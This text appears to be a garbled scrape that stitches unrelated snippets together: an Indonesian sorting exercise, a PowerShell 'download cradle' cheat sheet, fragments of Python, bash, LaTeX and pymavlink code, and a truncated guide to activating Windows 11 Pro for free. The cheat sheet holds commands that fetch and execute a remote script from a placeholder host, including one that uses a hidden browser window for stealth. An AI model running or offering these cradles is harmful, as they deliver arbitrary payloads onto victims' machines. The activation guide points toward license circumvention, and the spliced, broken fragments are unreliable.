Buatlah program yang melakukan pengurutan N (2≤N≤1000) buah bilangan seperti pada contoh kasus di bawah ini.
- Baris pertama berisi satu buah bilangan N.
# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object |
# This supports merging as many adapters as you want. | |
# python merge_adapters.py --base_model_name_or_path <base_model> --peft_model_paths <adapter1> <adapter2> <adapter3> --output_dir <merged_model> | |
from transformers import AutoModelForCausalLM, AutoTokenizer | |
from peft import PeftModel | |
import torch | |
import os | |
import argparse |
#!/bin/bash | |
### steps #### | |
# verify the system has a cuda-capable gpu | |
# download and install the nvidia cuda toolkit and cudnn | |
# setup environmental variables | |
# verify the installation | |
### | |
### to verify your gpu is cuda enable check |
% Modifications for @b0rk's excellent Bite Size Networking | |
% to get a proper 2-sided booklet | |
\documentclass[12pt]{article} | |
\usepackage{graphicx,pdfpages} | |
\usepackage[paperheight=11in,paperwidth=8.5in,margin=0in]{geometry} | |
\pagestyle{empty} | |
\begin{document} | |
\begin{figure}\centering | |
\vskip-1cm | |
\includegraphics[page=24,width=8.25in,angle=180]{bite-size-networking.pdf} |
from builtins import object | |
import weakref | |
from time import sleep | |
from threading import Thread, Event, Lock | |
from pymavlink import mavutil | |
import pymavlink.dialects.v20.ardupilotmega as mavlink | |
class WriteLockedFile(object): |
An guide how to activate Windows 11 Pro for free
Because you will get some more features like an Bitlocker and host your device as an External Desktop which can be accessed through the internet
The answer is yes! You can switch from almost any edition to Pro completely for free!
People which already have Pro, but not activated, can skip to this step.
What you first need to do is open CMD (Command Prompt) as Administrator using this keyboard key: